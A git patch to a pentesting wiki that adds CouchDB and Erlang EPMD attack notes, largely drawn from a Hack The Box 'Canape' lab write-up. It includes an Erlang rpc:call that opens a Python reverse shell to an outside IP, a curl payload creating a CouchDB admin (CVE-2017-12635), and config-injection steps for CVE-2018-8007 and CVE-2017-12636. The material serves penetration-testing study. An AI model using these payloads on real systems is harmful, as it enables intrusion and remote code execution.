From e63956fa4b8cd7d275210978717931d1b71c3c59 Mon Sep 17 00:00:00 2001 From: CPol Date: Thu, 16 Jul 2020 18:41:33 +0000 Subject: [PATCH] GitBook: [master] 2 pages modified --- ...ntesting-erlang-port-mapper-daemon-epmd.md | 13 +- pentesting/5984-pentesting-couchdb.md | 196 +++++++++++++++++- 2 files changed, 202 insertions(+), 7 deletions(-) diff --git a/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md b/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md index 18f06f150..70d09de61 100644 --- a/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md +++ b/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md @@ -44,9 +44,9 @@ PORT STATE SERVICE VERSION |_ kazoo-rabbitmq: 25672 ``` -### Erlang Cookie RCE +## Erlang Cookie RCE -#### Remote Connection +### Remote Connection If you can **leak the Authentication cookie** you will be able to execute code on the host. Usually, this cookie is located in `~/.erlang.cookie` and is generated by erlang at the first start. If not modified or set manually it is a random string \[A:Z\] with a length of 20 characters. @@ -67,7 +67,7 @@ The author also share a program to brutforce the cookie: {% file src="../.gitbook/assets/epmd\_bf-0.1.tar.bz2" %} -#### Local Connection +### Local Connection In this case we are going to abuse CouchDB to escalate privileges locally: @@ -78,16 +78,17 @@ HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE (anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]). ``` -Example taken from [https://0xdf.gitlab.io/2018/09/15/htb-canape.html\#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) +Example taken from [https://0xdf.gitlab.io/2018/09/15/htb-canape.html\#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) +You can use **Canape HTB machine to** **practice** how to **exploit this vuln**. -#### Metasploit +### Metasploit ```bash #Metasploit can also exploit this if you know the cookie msf5> use exploit/multi/misc/erlang_cookie_rce ``` -### Shodan +## Shodan * `port:4369 "at port"` diff --git a/pentesting/5984-pentesting-couchdb.md b/pentesting/5984-pentesting-couchdb.md index bee0f35b7..6ad1df699 100644 --- a/pentesting/5984-pentesting-couchdb.md +++ b/pentesting/5984-pentesting-couchdb.md @@ -92,7 +92,7 @@ curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9 {"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"} ``` -## Local Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635) +## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635) Thanks to the differences between Erlang and JavaScript JSON parsers you could **create an admin user** with credentials `hacktricks:hacktricks` with the following request: @@ -102,7 +102,201 @@ curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[] \*\*\*\*[**More information about this vuln here**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html). +## CouchDB RCE + +### Erlang Cookie + +In the CouchDB docs, in the [cluster set-up section](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup), it talks about the different ports used by CouchDB: + +> CouchDB in cluster mode uses the port `5984` just as standalone, but it also uses `5986` for node-local APIs. +> +> Erlang uses TCP port `4369` \(EPMD\) to find other nodes, so all servers must be able to speak to each other on this port. In an Erlang Cluster, all nodes are connected to all other nodes. A mesh. + +And then there’s an interesting warning: + +![1536931232858](https://0xdf.gitlab.io/img/1536931232858.png) + +If we look in the process list, we can see that cookie, “monster”: + +```text +www-data@canape:/$ ps aux | grep couchdb +root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb +root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb +homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b +``` + +**You can**[ **read this section to learn how to abuse Erlangs cookies to obtain RCE**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.** +Also, you can read some **Canape HTB machine writeup** [**like this one**](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) to see and **practice** how to **exploit this vuln**. + +### **Successful CVE-2018-8007 with local.ini write permissions** + +In writing this post, I found a new CVE had been released for CouchDB from mdsec, [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/). It also requires writes to the `local.ini` file, so it isn’t a useful option for Canape. But since I’ve already made it writable as root, let’s see if we can get it to work. + +Start with a clean and now writable `local.ini` \(and a backup\): + +```text +root@canape:/home/homer/etc# ls -l +total 40 +-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini +-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini +-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk +-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args +``` + +We can use curl to modify the origins in the `local.ini` file. The vulnerability here is that if we use curl to put a new origin and then newlines, we can write additional stuff, including a new header and details. So we’ll take advantage of the `[os_daemons]` field, and add a process for CouchDB to try to keep running: + +```text +www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf" +``` + +In the root shell, we can see what changes: + +```text +root@canape:/home/homer/etc# diff local.ini local.ini.bk +119,124d118 +< +< [cors] +< origins = 0xdf +< +< [os_daemons] +< test_daemon = /usr/bin/touch /tmp/0xdf +``` + +And yet, the file isn’t there: + +```text +root@canape:/home/homer/etc# ls /tmp/0xdf +ls: cannot access '/tmp/0xdf': No such file or directory +``` + +If we look at the processes running with “couchdb” in the cmdline, we see not only the line command line that gives us the cookie value we used earlier, but also `runsrv couchdb`: + +```text +root@canape:/home/homer/bin# ps aux | grep couch +root 711 0.0 0.0 4240 696 ? Ss 14:28 0:00 runsv couchdb +root 728 0.0 0.0 4384 812 ? S 14:28 0:00 svlogd -tt /var/log/couchdb +homer 1785 0.8 3.1 638992 31248 ? Sl 17:55 0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi +n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config +``` + +If we kill that process, it comes right back \(notice the new pid\): + +```text +root@canape:/home/homer/etc# kill 711 +root@canape:/home/homer/etc# ps aux | grep runsrv +root 2031 0.0 0.0 14224 980 pts/2 S+ 18:09 0:00 grep --color=auto runsrv +``` + +And, on restart, runs the OS\_Daemons: + +```text +root@canape:/home/homer/etc# ls /tmp/0xdf +/tmp/0xdf +``` + +### **Unsuccessful Attempt Via CVE-2017-12636 with local.ini write permissions** + +CVE-2017-12636 allows for code execution through the couchdb process. However, it won’t work in this configuration. + +There are a few POCs out there as reference: + +* [https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py) +* [https://www.exploit-db.com/exploits/44913/](https://www.exploit-db.com/exploits/44913/) + +We’d need to write a new query\_server, and then invoke that. When Canape was released, most of the POCs were for couchdb 1.x, but this box is running 2, so the query\_servers path from most of the POCs doesn’t exist. That’s changed now, but we’ll walk the same steps. First, get the version, and show that the 1.X path doesn’t exist: + +```text +www-data@canape:/var/www/git$ curl http://localhost:5984 +{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}} + +www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/ +{"error":"not_found","reason":"Database does not exist."} +``` + +Update with the new path for 2.0: + +```text +www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership' +{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]} + +www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers +{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"} +``` + +From there, we should add a query\_server and then invoke it, but we aren’t able to. + +```text +www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' +{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n [{config_writer,save_to_file,2,\n [{file,\"src/config_writer.erl\"},{line,38}]},\n {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n {gen_server,try_handle_call,4,\n [{file,\"gen_server.erl\"},{line,629}]},\n {gen_server,handle_msg,5,\n [{file,\"gen_server.erl\"},{line,661}]},\n {proc_lib,init_p_do_apply,3,\n [{file,\"proc_lib.erl\"},{line,240}]}]},\n {gen_server,call,\n [config,\n {set,\"query_servers\",\"cmd\",\n \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159} +``` + +Some Googling shows that this is an issue with permissions. In fact, if we check with out root shell, we can see that the `local.ini` file is not writable by anyone, let alone www-data: + +```text +root@canape:/home/home/etc# ls -ls local.ini +8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini +``` + +So that’s a dead end for Canape. But if we want to try to get it working, we can make it readable with our root or homer access, and continue down this path. We’ll make a backup of the original so we can see what changes: + +```text +root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b +root@canape:/# chmod 666 /home/homer/etc/local.ini +``` + +Now, back to our www-data shell: + +```text +www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' +"" +``` + +We get back the previous value for the cmd query server, which means success. And in the root shell, we can see it worked: + +```text +root@canape:/home/homer/etc# diff local.ini local.ini.bk +48c48 +< cmd = /sbin/ifconfig > /tmp/df +--- +> cmd = +``` + +Now, we should be able to create a db, and then a document in that db, and the request it with a view that maps our query\_server to get execution. + +Create db and document: + +```text +www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs' +["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"] +www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df' +{"ok":true} +www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs' +["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"] + +www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}' +{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"} +``` + +Request it in a view. The db will complain about headers, but if we work with it, we can get a bit further: + +```text +www-data@canape:/dev/shm$ curl -X POST 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"df": {"map": ""} }, "language": "cmd"}' +{"error":"bad_request","reason":"Referer header required."} + +www-data@canape:/dev/shm$ curl -X POST 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"df": {"map": ""} }, "language": "cmd"}' -H "Referer: http://127.0.0.1:5984 +{"error":"bad_request","reason":"Referer header must match host."} + +www-data@canape:/dev/shm$ curl -X POST 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"df": {"map": ""} }, "language": "cmd"}' -H "Referer: http://localhost:5984" +{"error":"bad_content_type","reason":"Content-Type must be multipart/form-data"} + +www-data@canape:/dev/shm$ curl -X POST 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"df": {"map": ""} }, "language": "cmd"}' -H "Referer: http://localhost:5984" -H "Content-Type: multipart/form-data" +{"error":"case_clause","reason":"undefined","ref":627893255} +``` + +At this point, I am stuck. An undefined “case\_clause” error wasn’t too Googleable. And this isn’t really a path for this box anyway. If you know why it’s breaking here, please let me know! + ## References * [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) +* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html\#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)